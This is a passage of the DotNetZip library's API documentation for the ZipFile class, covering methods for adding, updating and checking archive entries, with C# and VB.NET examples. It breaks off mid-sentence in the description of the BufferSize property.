+ + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + + + + In this example, three files are added to a Zip archive. The ReadMe.txt + file will be placed in the root of the archive. The .png file will be + placed in a folder within the zip called images. The pdf file will be + included into a folder within the zip called files\docs, and will be + encrypted with the given password. + + + try + { + using (ZipFile zip = new ZipFile()) + { + // the following entry will be inserted at the root in the archive. + zip.AddFile("c:\\datafiles\\ReadMe.txt", ""); + // this image file will be inserted into the "images" directory in the archive. + zip.AddFile("c:\\photos\\personal\\7440-N49th.png", "images"); + // the following will result in a password-protected file called + // files\\docs\\2008-Regional-Sales-Report.pdf in the archive. + zip.Password = "EncryptMe!"; + zip.AddFile("c:\\Desktop\\2008-Regional-Sales-Report.pdf", "files\\docs"); + zip.Save("Archive.zip"); + } + } + catch (System.Exception ex1) + { + System.Console.Error.WriteLine("exception: {0}", ex1); + } + + + + Try + Using zip As ZipFile = New ZipFile + ' the following entry will be inserted at the root in the archive. + zip.AddFile("c:\datafiles\ReadMe.txt", "") + ' this image file will be inserted into the "images" directory in the archive. + zip.AddFile("c:\photos\personal\7440-N49th.png", "images") + ' the following will result in a password-protected file called + ' files\\docs\\2008-Regional-Sales-Report.pdf in the archive. + zip.Password = "EncryptMe!" + zip.AddFile("c:\Desktop\2008-Regional-Sales-Report.pdf", "files\documents") + zip.Save("Archive.zip") + End Using + Catch ex1 As Exception + Console.Error.WriteLine("exception: {0}", ex1) + End Try + + + + + + + + + The name of the file to add. The name of the file may be a relative path + or a fully-qualified path. + + + + Specifies a directory path to use to override any path in the fileName. + This path may, or may not, correspond to a real directory in the current + filesystem. If the files within the zip are later extracted, this is the + path used for the extracted file. Passing null (Nothing in + VB) will use the path on the fileName, if any. Passing the empty string + ("") will insert the item at the root path within the archive. + + + The ZipEntry corresponding to the file added. + + + + This method removes a collection of entries from the ZipFile. + + + + A collection of ZipEntry instances from this zip file to be removed. For + example, you can pass in an array of ZipEntry instances; or you can call + SelectEntries(), and then add or remove entries from that + ICollection<ZipEntry> (ICollection(Of ZipEntry) in VB), and pass + that ICollection to this method. + + + + + + + + This method removes a collection of entries from the ZipFile, by name. + + + + A collection of strings that refer to names of entries to be removed + from the ZipFile. For example, you can pass in an array or a + List of Strings that provide the names of entries to be removed. + + + + + + + + This method adds a set of files to the ZipFile. + + + + + Use this method to add a set of files to the zip archive, in one call. + For example, a list of files received from + System.IO.Directory.GetFiles() can be added to a zip archive in one + call. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to each + ZipEntry added. + + + + + The collection of names of the files to add. Each string should refer to a + file in the filesystem. The name of the file may be a relative path or a + fully-qualified path. + + + + This example shows how to create a zip file, and add a few files into it. + + String ZipFileToCreate = "archive1.zip"; + String DirectoryToZip = "c:\\reports"; + using (ZipFile zip = new ZipFile()) + { + // Store all files found in the top level directory, into the zip archive. + String[] filenames = System.IO.Directory.GetFiles(DirectoryToZip); + zip.AddFiles(filenames); + zip.Save(ZipFileToCreate); + } + + + + Dim ZipFileToCreate As String = "archive1.zip" + Dim DirectoryToZip As String = "c:\reports" + Using zip As ZipFile = New ZipFile + ' Store all files found in the top level directory, into the zip archive. + Dim filenames As String() = System.IO.Directory.GetFiles(DirectoryToZip) + zip.AddFiles(filenames) + zip.Save(ZipFileToCreate) + End Using + + + + + + + + Adds or updates a set of files in the ZipFile. + + + + + Any files that already exist in the archive are updated. Any files that + don't yet exist in the archive are added. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to each + ZipEntry added. + + + + + The collection of names of the files to update. Each string should refer to a file in + the filesystem. The name of the file may be a relative path or a fully-qualified path. + + + + + + Adds a set of files to the ZipFile, using the + specified directory path in the archive. + + + + + Any directory structure that may be present in the + filenames contained in the list is "flattened" in the + archive. Each file in the list is added to the archive in + the specified top-level directory. + + + + For ZipFile properties including , , , , , , and , their respective values at the + time of this call will be applied to each ZipEntry added. + + + + + The names of the files to add. Each string should refer to + a file in the filesystem. The name of the file may be a + relative path or a fully-qualified path. + + + + Specifies a directory path to use to override any path in the file name. + Th is path may, or may not, correspond to a real directory in the current + filesystem. If the files within the zip are later extracted, this is the + path used for the extracted file. Passing null (Nothing in + VB) will use the path on each of the fileNames, if any. Passing + the empty string ("") will insert the item at the root path within the + archive. + + + + + + + Adds a set of files to the ZipFile, using the specified directory + path in the archive, and preserving the full directory structure in the + filenames. + + + + + + Think of the as a "root" or + base directory used in the archive for the files that get added. when + is true, the hierarchy of files + found in the filesystem will be placed, with the hierarchy intact, + starting at that root in the archive. When preserveDirHierarchy + is false, the path hierarchy of files is flattned, and the flattened + set of files gets placed in the root within the archive as specified in + directoryPathInArchive. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to each + ZipEntry added. + + + + + + The names of the files to add. Each string should refer to a file in the + filesystem. The name of the file may be a relative path or a + fully-qualified path. + + + + Specifies a directory path to use as a prefix for each entry name. + This path may, or may not, correspond to a real directory in the current + filesystem. If the files within the zip are later extracted, this is the + path used for the extracted file. Passing null (Nothing in + VB) will use the path on each of the fileNames, if any. Passing + the empty string ("") will insert the item at the root path within the + archive. + + + + whether the entries in the zip archive will reflect the directory + hierarchy that is present in the various filenames. For example, if + includes two paths, + \Animalia\Chordata\Mammalia\Info.txt and + \Plantae\Magnoliophyta\Dicotyledon\Info.txt, then calling this method + with = false will + result in an exception because of a duplicate entry name, while + calling this method with = + true will result in the full direcory paths being included in + the entries added to the ZipFile. + + + + + + Adds or updates a set of files to the ZipFile, using the specified + directory path in the archive. + + + + + + Any files that already exist in the archive are updated. Any files that + don't yet exist in the archive are added. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to each + ZipEntry added. + + + + + The names of the files to add or update. Each string should refer to a + file in the filesystem. The name of the file may be a relative path or a + fully-qualified path. + + + + Specifies a directory path to use to override any path in the file name. + This path may, or may not, correspond to a real directory in the current + filesystem. If the files within the zip are later extracted, this is the + path used for the extracted file. Passing null (Nothing in + VB) will use the path on each of the fileNames, if any. Passing + the empty string ("") will insert the item at the root path within the + archive. + + + + + + + Adds or Updates a File in a Zip file archive. + + + + + This method adds a file to a zip archive, or, if the file already exists + in the zip archive, this method Updates the content of that given filename + in the zip archive. The UpdateFile method might more accurately be + called "AddOrUpdateFile". + + + + Upon success, there is no way for the application to learn whether the file + was added versus updated. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + + + This example shows how to Update an existing entry in a zipfile. The first + call to UpdateFile adds the file to the newly-created zip archive. The + second call to UpdateFile updates the content for that file in the zip + archive. + + + using (ZipFile zip1 = new ZipFile()) + { + // UpdateFile might more accurately be called "AddOrUpdateFile" + zip1.UpdateFile("MyDocuments\\Readme.txt"); + zip1.UpdateFile("CustomerList.csv"); + zip1.Comment = "This zip archive has been created."; + zip1.Save("Content.zip"); + } + + using (ZipFile zip2 = ZipFile.Read("Content.zip")) + { + zip2.UpdateFile("Updates\\Readme.txt"); + zip2.Comment = "This zip archive has been updated: The Readme.txt file has been changed."; + zip2.Save(); + } + + + + Using zip1 As New ZipFile + ' UpdateFile might more accurately be called "AddOrUpdateFile" + zip1.UpdateFile("MyDocuments\Readme.txt") + zip1.UpdateFile("CustomerList.csv") + zip1.Comment = "This zip archive has been created." + zip1.Save("Content.zip") + End Using + + Using zip2 As ZipFile = ZipFile.Read("Content.zip") + zip2.UpdateFile("Updates\Readme.txt") + zip2.Comment = "This zip archive has been updated: The Readme.txt file has been changed." + zip2.Save + End Using + + + + + + + + + The name of the file to add or update. It should refer to a file in the + filesystem. The name of the file may be a relative path or a + fully-qualified path. + + + + The ZipEntry corresponding to the File that was added or updated. + + + + + Adds or Updates a File in a Zip file archive. + + + + + This method adds a file to a zip archive, or, if the file already exists + in the zip archive, this method Updates the content of that given filename + in the zip archive. + + + + This version of the method allows the caller to explicitly specify the + directory path to be used in the archive. The entry to be added or + updated is found by using the specified directory path, combined with the + basename of the specified filename. + + + + Upon success, there is no way for the application to learn if the file was + added versus updated. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + + + + + + The name of the file to add or update. It should refer to a file in the + filesystem. The name of the file may be a relative path or a + fully-qualified path. + + + + Specifies a directory path to use to override any path in the + fileName. This path may, or may not, correspond to a real + directory in the current filesystem. If the files within the zip are + later extracted, this is the path used for the extracted file. Passing + null (Nothing in VB) will use the path on the + fileName, if any. Passing the empty string ("") will insert the + item at the root path within the archive. + + + + The ZipEntry corresponding to the File that was added or updated. + + + + + Add or update a directory in a zip archive. + + + + If the specified directory does not exist in the archive, then this method + is equivalent to calling AddDirectory(). If the specified + directory already exists in the archive, then this method updates any + existing entries, and adds any new entries. Any entries that are in the + zip archive but not in the specified directory, are left alone. In other + words, the contents of the zip file will be a union of the previous + contents and the new files. + + + + + + + + The path to the directory to be added to the zip archive, or updated in + the zip archive. + + + + The ZipEntry corresponding to the Directory that was added or updated. + + + + + Add or update a directory in the zip archive at the specified root + directory in the archive. + + + + If the specified directory does not exist in the archive, then this method + is equivalent to calling AddDirectory(). If the specified + directory already exists in the archive, then this method updates any + existing entries, and adds any new entries. Any entries that are in the + zip archive but not in the specified directory, are left alone. In other + words, the contents of the zip file will be a union of the previous + contents and the new files. + + + + + + + + The path to the directory to be added to the zip archive, or updated + in the zip archive. + + + + Specifies a directory path to use to override any path in the + directoryName. This path may, or may not, correspond to a real + directory in the current filesystem. If the files within the zip are + later extracted, this is the path used for the extracted file. Passing + null (Nothing in VB) will use the path on the + directoryName, if any. Passing the empty string ("") will insert + the item at the root path within the archive. + + + + The ZipEntry corresponding to the Directory that was added or updated. + + + + + Add or update a file or directory in the zip archive. + + + + + This is useful when the application is not sure or does not care if the + item to be added is a file or directory, and does not know or does not + care if the item already exists in the ZipFile. Calling this method + is equivalent to calling RemoveEntry() if an entry by the same name + already exists, followed calling by AddItem(). + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + + + + + + the path to the file or directory to be added or updated. + + + + + Add or update a file or directory. + + + + + This method is useful when the application is not sure or does not care if + the item to be added is a file or directory, and does not know or does not + care if the item already exists in the ZipFile. Calling this method + is equivalent to calling RemoveEntry(), if an entry by that name + exists, and then calling AddItem(). + + + + This version of the method allows the caller to explicitly specify the + directory path to be used for the item being added to the archive. The + entry or entries that are added or updated will use the specified + DirectoryPathInArchive. Extracting the entry from the archive will + result in a file stored in that directory path. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + + + + + + The path for the File or Directory to be added or updated. + + + Specifies a directory path to use to override any path in the + itemName. This path may, or may not, correspond to a real + directory in the current filesystem. If the files within the zip are + later extracted, this is the path used for the extracted file. Passing + null (Nothing in VB) will use the path on the + itemName, if any. Passing the empty string ("") will insert the + item at the root path within the archive. + + + + + Adds a named entry into the zip archive, taking content for the entry + from a string. + + + + Calling this method creates an entry using the given fileName and + directory path within the archive. There is no need for a file by the + given name to exist in the filesystem; the name is used within the zip + archive only. The content for the entry is encoded using the default text + encoding for the machine. + + + + The content of the file, should it be extracted from the zip. + + + + The name, including any path, to use for the entry within the archive. + + + The ZipEntry added. + + + + This example shows how to add an entry to the zipfile, using a string as + content for that entry. + + + string Content = "This string will be the content of the Readme.txt file in the zip archive."; + using (ZipFile zip1 = new ZipFile()) + { + zip1.AddFile("MyDocuments\\Resume.doc", "files"); + zip1.AddEntry("Readme.txt", Content); + zip1.Comment = "This zip file was created at " + System.DateTime.Now.ToString("G"); + zip1.Save("Content.zip"); + } + + + + Public Sub Run() + Dim Content As String = "This string will be the content of the Readme.txt file in the zip archive." + Using zip1 As ZipFile = New ZipFile + zip1.AddEntry("Readme.txt", Content) + zip1.AddFile("MyDocuments\Resume.doc", "files") + zip1.Comment = ("This zip file was created at " & DateTime.Now.ToString("G")) + zip1.Save("Content.zip") + End Using + End Sub + + + + + + Adds a named entry into the zip archive, taking content for the entry + from a string, and using the specified text encoding. + + + + + + Calling this method creates an entry using the given fileName and + directory path within the archive. There is no need for a file by the + given name to exist in the filesystem; the name is used within the zip + archive only. + + + + The content for the entry, a string value, is encoded using the given + text encoding. A BOM (byte-order-mark) is emitted into the file, if the + Encoding parameter is set for that. + + + + Most Encoding classes support a constructor that accepts a boolean, + indicating whether to emit a BOM or not. For example see . + + + + + + The name, including any path, to use within the archive for the entry. + + + + The content of the file, should it be extracted from the zip. + + + + The text encoding to use when encoding the string. Be aware: This is + distinct from the text encoding used to encode the fileName, as specified + in . + + + The ZipEntry added. + + + + + Create an entry in the ZipFile using the given Stream + as input. The entry will have the given filename. + + + + + + The application should provide an open, readable stream; in this case it + will be read during the call to or one of + its overloads. + + + + The passed stream will be read from its current position. If + necessary, callers should set the position in the stream before + calling AddEntry(). This might be appropriate when using this method + with a MemoryStream, for example. + + + + In cases where a large number of streams will be added to the + ZipFile, the application may wish to avoid maintaining all of the + streams open simultaneously. To handle this situation, the application + should use the + overload. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + + + + This example adds a single entry to a ZipFile via a Stream. + + + + String zipToCreate = "Content.zip"; + String fileNameInArchive = "Content-From-Stream.bin"; + using (System.IO.Stream streamToRead = MyStreamOpener()) + { + using (ZipFile zip = new ZipFile()) + { + ZipEntry entry= zip.AddEntry(fileNameInArchive, streamToRead); + zip.AddFile("Readme.txt"); + zip.Save(zipToCreate); // the stream is read implicitly here + } + } + + + + Dim zipToCreate As String = "Content.zip" + Dim fileNameInArchive As String = "Content-From-Stream.bin" + Using streamToRead as System.IO.Stream = MyStreamOpener() + Using zip As ZipFile = New ZipFile() + Dim entry as ZipEntry = zip.AddEntry(fileNameInArchive, streamToRead) + zip.AddFile("Readme.txt") + zip.Save(zipToCreate) '' the stream is read implicitly, here + End Using + End Using + + + + + + + The name, including any path, which is shown in the zip file for the added + entry. + + + The input stream from which to grab content for the file + + The ZipEntry added. + + + + Add a ZipEntry for which content is written directly by the application. + + + + + When the application needs to write the zip entry data, use this + method to add the ZipEntry. For example, in the case that the + application wishes to write the XML representation of a DataSet into + a ZipEntry, the application can use this method to do so. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + About progress events: When using the WriteDelegate, DotNetZip does + not issue any SaveProgress events with EventType = + Saving_EntryBytesRead. (This is because it is the + application's code that runs in WriteDelegate - there's no way for + DotNetZip to know when to issue a EntryBytesRead event.) + Applications that want to update a progress bar or similar status + indicator should do so from within the WriteDelegate + itself. DotNetZip will issue the other SaveProgress events, + including + Saving_Started, + + Saving_BeforeWriteEntry, and + Saving_AfterWriteEntry. + + + + Note: When you use PKZip encryption, it's normally necessary to + compute the CRC of the content to be encrypted, before compressing or + encrypting it. Therefore, when using PKZip encryption with a + WriteDelegate, the WriteDelegate CAN BE called twice: once to compute + the CRC, and the second time to potentially compress and + encrypt. Surprising, but true. This is because PKWARE specified that + the encryption initialization data depends on the CRC. + If this happens, for each call of the delegate, your + application must stream the same entry data in its entirety. If your + application writes different data during the second call, it will + result in a corrupt zip file. + + + + The double-read behavior happens with all types of entries, not only + those that use WriteDelegate. It happens if you add an entry from a + filesystem file, or using a string, or a stream, or an opener/closer + pair. But in those cases, DotNetZip takes care of reading twice; in + the case of the WriteDelegate, the application code gets invoked + twice. Be aware. + + + + As you can imagine, this can cause performance problems for large + streams, and it can lead to correctness problems when you use a + WriteDelegate. This is a pretty big pitfall. There are two + ways to avoid it. First, and most preferred: don't use PKZIP + encryption. If you use the WinZip AES encryption, this problem + doesn't occur, because the encryption protocol doesn't require the CRC + up front. Second: if you do choose to use PKZIP encryption, write out + to a non-seekable stream (like standard output, or the + Response.OutputStream in an ASP.NET application). In this case, + DotNetZip will use an alternative encryption protocol that does not + rely on the CRC of the content. This also implies setting bit 3 in + the zip entry, which still presents problems for some zip tools. + + + + In the future I may modify DotNetZip to *always* use bit 3 when PKZIP + encryption is in use. This seems like a win overall, but there will + be some work involved. If you feel strongly about it, visit the + DotNetZip forums and vote up the Workitem + tracking this issue. + + + + + the name of the entry to add + the delegate which will write the entry content + the ZipEntry added + + + + This example shows an application filling a DataSet, then saving the + contents of that DataSet as XML, into a ZipEntry in a ZipFile, using an + anonymous delegate in C#. The DataSet XML is never saved to a disk file. + + + var c1= new System.Data.SqlClient.SqlConnection(connstring1); + var da = new System.Data.SqlClient.SqlDataAdapter() + { + SelectCommand= new System.Data.SqlClient.SqlCommand(strSelect, c1) + }; + + DataSet ds1 = new DataSet(); + da.Fill(ds1, "Invoices"); + + using(Ionic.Zip.ZipFile zip = new Ionic.Zip.ZipFile()) + { + zip.AddEntry(zipEntryName, (name,stream) => ds1.WriteXml(stream) ); + zip.Save(zipFileName); + } + + + + + + This example uses an anonymous method in C# as the WriteDelegate to provide + the data for the ZipEntry. The example is a bit contrived - the + AddFile() method is a simpler way to insert the contents of a file + into an entry in a zip file. On the other hand, if there is some sort of + processing or transformation of the file contents required before writing, + the application could use the WriteDelegate to do it, in this way. + + + using (var input = File.Open(filename, FileMode.Open, FileAccess.Read, FileShare.ReadWrite )) + { + using(Ionic.Zip.ZipFile zip = new Ionic.Zip.ZipFile()) + { + zip.AddEntry(zipEntryName, (name,output) => + { + byte[] buffer = new byte[BufferSize]; + int n; + while ((n = input.Read(buffer, 0, buffer.Length)) != 0) + { + // could transform the data here... + output.Write(buffer, 0, n); + // could update a progress bar here + } + }); + + zip.Save(zipFileName); + } + } + + + + + + This example uses a named delegate in VB to write data for the given + ZipEntry (VB9 does not have anonymous delegates). The example here is a bit + contrived - a simpler way to add the contents of a file to a ZipEntry is to + simply use the appropriate AddFile() method. The key scenario for + which the WriteDelegate makes sense is saving a DataSet, in XML + format, to the zip file. The DataSet can write XML to a stream, and the + WriteDelegate is the perfect place to write into the zip file. There may be + other data structures that can write to a stream, but cannot be read as a + stream. The WriteDelegate would be appropriate for those cases as + well. + + + Private Sub WriteEntry (ByVal name As String, ByVal output As Stream) + Using input As FileStream = File.Open(filename, FileMode.Open, FileAccess.Read, FileShare.ReadWrite) + Dim n As Integer = -1 + Dim buffer As Byte() = New Byte(BufferSize){} + Do While n <> 0 + n = input.Read(buffer, 0, buffer.Length) + output.Write(buffer, 0, n) + Loop + End Using + End Sub + + Public Sub Run() + Using zip = New ZipFile + zip.AddEntry(zipEntryName, New WriteDelegate(AddressOf WriteEntry)) + zip.Save(zipFileName) + End Using + End Sub + + + + + + Add an entry, for which the application will provide a stream + containing the entry data, on a just-in-time basis. + + + + + In cases where the application wishes to open the stream that + holds the content for the ZipEntry, on a just-in-time basis, the + application can use this method. The application provides an + opener delegate that will be called by the DotNetZip library to + obtain a readable stream that can be read to get the bytes for + the given entry. Typically, this delegate opens a stream. + Optionally, the application can provide a closer delegate as + well, which will be called by DotNetZip when all bytes have been + read from the entry. + + + + These delegates are called from within the scope of the call to + ZipFile.Save(). + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + + + + This example uses anonymous methods in C# to open and close the + source stream for the content for a zip entry. + + + using(Ionic.Zip.ZipFile zip = new Ionic.Zip.ZipFile()) + { + zip.AddEntry(zipEntryName, + (name) => File.Open(filename, FileMode.Open, FileAccess.Read, FileShare.ReadWrite ), + (name, stream) => stream.Close() + ); + + zip.Save(zipFileName); + } + + + + + + + This example uses delegates in VB.NET to open and close the + the source stream for the content for a zip entry. VB 9.0 lacks + support for "Sub" lambda expressions, and so the CloseDelegate must + be an actual, named Sub. + + + + Function MyStreamOpener(ByVal entryName As String) As Stream + '' This simply opens a file. You probably want to do somethinig + '' more involved here: open a stream to read from a database, + '' open a stream on an HTTP connection, and so on. + Return File.OpenRead(entryName) + End Function + + Sub MyStreamCloser(entryName As String, stream As Stream) + stream.Close() + End Sub + + Public Sub Run() + Dim dirToZip As String = "fodder" + Dim zipFileToCreate As String = "Archive.zip" + Dim opener As OpenDelegate = AddressOf MyStreamOpener + Dim closer As CloseDelegate = AddressOf MyStreamCloser + Dim numFilestoAdd As Int32 = 4 + Using zip As ZipFile = New ZipFile + Dim i As Integer + For i = 0 To numFilesToAdd - 1 + zip.AddEntry(String.Format("content-{0:000}.txt"), opener, closer) + Next i + zip.Save(zipFileToCreate) + End Using + End Sub + + + + + the name of the entry to add + + the delegate that will be invoked by ZipFile.Save() to get the + readable stream for the given entry. ZipFile.Save() will call + read on this stream to obtain the data for the entry. This data + will then be compressed and written to the newly created zip + file. + + + the delegate that will be invoked to close the stream. This may + be null (Nothing in VB), in which case no call is makde to close + the stream. + + the ZipEntry added + + + + + Updates the given entry in the ZipFile, using the given + string as content for the ZipEntry. + + + + + + Calling this method is equivalent to removing the ZipEntry for + the given file name and directory path, if it exists, and then calling + . See the documentation for + that method for further explanation. The string content is encoded + using the default encoding for the machine. This encoding is distinct + from the encoding used for the filename itself. See + . + + + + + + The name, including any path, to use within the archive for the entry. + + + + The content of the file, should it be extracted from the zip. + + + The ZipEntry added. + + + + + Updates the given entry in the ZipFile, using the given string as + content for the ZipEntry. + + + + Calling this method is equivalent to removing the ZipEntry for the + given file name and directory path, if it exists, and then calling . See the + documentation for that method for further explanation. + + + + The name, including any path, to use within the archive for the entry. + + + + The content of the file, should it be extracted from the zip. + + + + The text encoding to use when encoding the string. Be aware: This is + distinct from the text encoding used to encode the filename. See . + + + The ZipEntry added. + + + + + Updates the given entry in the ZipFile, using the given delegate + as the source for content for the ZipEntry. + + + + Calling this method is equivalent to removing the ZipEntry for the + given file name and directory path, if it exists, and then calling . See the + documentation for that method for further explanation. + + + + The name, including any path, to use within the archive for the entry. + + + the delegate which will write the entry content. + + The ZipEntry added. + + + + + Updates the given entry in the ZipFile, using the given delegates + to open and close the stream that provides the content for the ZipEntry. + + + + Calling this method is equivalent to removing the ZipEntry for the + given file name and directory path, if it exists, and then calling . See the + documentation for that method for further explanation. + + + + The name, including any path, to use within the archive for the entry. + + + + the delegate that will be invoked to open the stream + + + the delegate that will be invoked to close the stream + + + The ZipEntry added or updated. + + + + + Updates the given entry in the ZipFile, using the given stream as + input, and the given filename and given directory Path. + + + + + Calling the method is equivalent to calling RemoveEntry() if an + entry by the same name already exists, and then calling AddEntry() + with the given fileName and stream. + + + + The stream must be open and readable during the call to + ZipFile.Save. You can dispense the stream on a just-in-time basis + using the property. Check the + documentation of that property for more information. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + + + + + + The name, including any path, to use within the archive for the entry. + + + The input stream from which to read file data. + The ZipEntry added. + + + + Add an entry into the zip archive using the given filename and + directory path within the archive, and the given content for the + file. No file is created in the filesystem. + + + The data to use for the entry. + + + The name, including any path, to use within the archive for the entry. + + + The ZipEntry added. + + + + Updates the given entry in the ZipFile, using the given byte + array as content for the entry. + + + + Calling this method is equivalent to removing the ZipEntry + for the given filename and directory path, if it exists, and then + calling . See the + documentation for that method for further explanation. + + + + The name, including any path, to use within the archive for the entry. + + + The content to use for the ZipEntry. + + The ZipEntry added. + + + + + Adds the contents of a filesystem directory to a Zip file archive. + + + + + + The name of the directory may be a relative path or a fully-qualified + path. Any files within the named directory are added to the archive. Any + subdirectories within the named directory are also added to the archive, + recursively. + + + + Top-level entries in the named directory will appear as top-level entries + in the zip archive. Entries in subdirectories in the named directory will + result in entries in subdirectories in the zip archive. + + + + If you want the entries to appear in a containing directory in the zip + archive itself, then you should call the AddDirectory() overload that + allows you to explicitly specify a directory path for use in the archive. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to each + ZipEntry added. + + + + + + + + + + This method has 2 overloads. + + The name of the directory to add. + The ZipEntry added. + + + + Adds the contents of a filesystem directory to a Zip file archive, + overriding the path to be used for entries in the archive. + + + + + The name of the directory may be a relative path or a fully-qualified + path. The add operation is recursive, so that any files or subdirectories + within the name directory are also added to the archive. + + + + Top-level entries in the named directory will appear as top-level entries + in the zip archive. Entries in subdirectories in the named directory will + result in entries in subdirectories in the zip archive. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to each + ZipEntry added. + + + + + + + In this code, calling the ZipUp() method with a value of "c:\reports" for + the directory parameter will result in a zip file structure in which all + entries are contained in a toplevel "reports" directory. + + + + public void ZipUp(string targetZip, string directory) + { + using (var zip = new ZipFile()) + { + zip.AddDirectory(directory, System.IO.Path.GetFileName(directory)); + zip.Save(targetZip); + } + } + + + + + + + + The name of the directory to add. + + + Specifies a directory path to use to override any path in the + DirectoryName. This path may, or may not, correspond to a real directory + in the current filesystem. If the zip is later extracted, this is the + path used for the extracted file or directory. Passing null + (Nothing in VB) or the empty string ("") will insert the items at + the root path within the archive. + + + The ZipEntry added. + + + + Creates a directory in the zip archive. + + + + + + Use this when you want to create a directory in the archive but there is + no corresponding filesystem representation for that directory. + + + + You will probably not need to do this in your code. One of the only times + you will want to do this is if you want an empty directory in the zip + archive. The reason: if you add a file to a zip archive that is stored + within a multi-level directory, all of the directory tree is implicitly + created in the zip archive. + + + + + + The name of the directory to create in the archive. + + The ZipEntry added. + + + + Checks a zip file to see if its directory is consistent. + + + + + + In cases of data error, the directory within a zip file can get out + of synch with the entries in the zip file. This method checks the + given zip file and returns true if this has occurred. + + + This method may take a long time to run for large zip files. + + + This method is not supported in the Reduced version of DotNetZip. + + + + Developers using COM can use the ComHelper.CheckZip(String) + method. + + + + + The filename to of the zip file to check. + + true if the named zip file checks OK. Otherwise, false. + + + + + + + Checks a zip file to see if its directory is consistent, + and optionally fixes the directory if necessary. + + + + + + In cases of data error, the directory within a zip file can get out of + synch with the entries in the zip file. This method checks the given + zip file, and returns true if this has occurred. It also optionally + fixes the zipfile, saving the fixed copy in Name_Fixed.zip. + + + + This method may take a long time to run for large zip files. It + will take even longer if the file actually needs to be fixed, and if + fixIfNecessary is true. + + + + This method is not supported in the Reduced version of DotNetZip. + + + + + The filename to of the zip file to check. + + If true, the method will fix the zip file if + necessary. + + + a TextWriter in which messages generated while checking will be written. + + + true if the named zip is OK; false if the file needs to be fixed. + + + + + + + Rewrite the directory within a zipfile. + + + + + + In cases of data error, the directory in a zip file can get out of + synch with the entries in the zip file. This method attempts to fix + the zip file if this has occurred. + + + This can take a long time for large zip files. + + This won't work if the zip file uses a non-standard + code page - neither IBM437 nor UTF-8. + + + This method is not supported in the Reduced or Compact Framework + versions of DotNetZip. + + + + Developers using COM can use the ComHelper.FixZipDirectory(String) + method. + + + + + The filename to of the zip file to fix. + + + + + + + Verify the password on a zip file. + + + + + Keep in mind that passwords in zipfiles are applied to + zip entries, not to the entire zip file. So testing a + zipfile for a particular password doesn't work in the + general case. On the other hand, it's often the case + that a single password will be used on all entries in a + zip file. This method works for that case. + + + There is no way to check a password without doing the + decryption. So this code decrypts and extracts the given + zipfile into + + + + The filename to of the zip file to fix. + + The password to check. + + a bool indicating whether the password matches. + + + + Provides a human-readable string with information about the ZipFile. + + + + + The information string contains 10 lines or so, about each ZipEntry, + describing whether encryption is in use, the compressed and uncompressed + length of the entry, the offset of the entry, and so on. As a result the + information string can be very long for zip files that contain many + entries. + + + This information is mostly useful for diagnostic purposes. + + + + + + Indicates whether to perform a full scan of the zip file when reading it. + + + + + + You almost never want to use this property. + + + + When reading a zip file, if this flag is true (True in + VB), the entire zip archive will be scanned and searched for entries. + For large archives, this can take a very, long time. The much more + efficient default behavior is to read the zip directory, which is + stored at the end of the zip file. But, in some cases the directory is + corrupted and you need to perform a full scan of the zip file to + determine the contents of the zip file. This property lets you do + that, when necessary. + + + + This flag is effective only when calling . Normally you would read a ZipFile with the + static ZipFile.Read + method. But you can't set the FullScan property on the + ZipFile instance when you use a static factory method like + ZipFile.Read. + + + + + + + This example shows how to read a zip file using the full scan approach, + and then save it, thereby producing a corrected zip file. + + + using (var zip = new ZipFile()) + { + zip.FullScan = true; + zip.Initialize(zipFileName); + zip.Save(newName); + } + + + + Using zip As New ZipFile + zip.FullScan = True + zip.Initialize(zipFileName) + zip.Save(newName) + End Using + + + + + + + Whether to sort the ZipEntries before saving the file. + + + + The default is false. If you have a large number of zip entries, the sort + alone can consume significant time. + + + + + using (var zip = new ZipFile()) + { + zip.AddFiles(filesToAdd); + zip.SortEntriesBeforeSaving = true; + zip.Save(name); + } + + + + Using zip As New ZipFile + zip.AddFiles(filesToAdd) + zip.SortEntriesBeforeSaving = True + zip.Save(name) + End Using + + + + + + + Indicates whether NTFS Reparse Points, like junctions, should be + traversed during calls to AddDirectory(). + + + + By default, calls to AddDirectory() will traverse NTFS reparse + points, like mounted volumes, and directory junctions. An example + of a junction is the "My Music" directory in Windows Vista. In some + cases you may not want DotNetZip to traverse those directories. In + that case, set this property to false. + + + + + using (var zip = new ZipFile()) + { + zip.AddDirectoryWillTraverseReparsePoints = false; + zip.AddDirectory(dirToZip,"fodder"); + zip.Save(zipFileToCreate); + } + + + + + + Size of the IO buffer used while saving. + + + + + + First, let me say that you really don't need to bother with this. It is + here to allow for optimizations that you probably won't make! It will work + fine if you don't set or get this property at all. Ok? + + + + Now that we have that out of the way, the fine print: This + property affects the size of the buffer that is used for I/O for each + entry contained in the zip file. When a file is read in to be compressed, + it uses a buffer given by the size here. When you update a zip file, the + data for unmodified entries is copied from the first zip file to the + other, through a buffer given by the size here. + + + + Changing the buffer size affects a few things: first, for larger buffer + sizes, the memory used by the ZipFile, obviously, will be larger + during I/O operations. This may make operations faster for very much + larger files. Last, for any given entry, when you use a larger buffer + there will be fewer progress events during I/O operations, because there's + one progress event generated for each time the buffer is filled and then + emptied. + + + + The default buffer size is 8k. Increasing the buffer size may speed + things up as you compress larger files. But there are no hard-and-fast + rules here, eh? You won't know til you test it. And there will be a + limit where ever larger buffers actually slow things down. So as I said 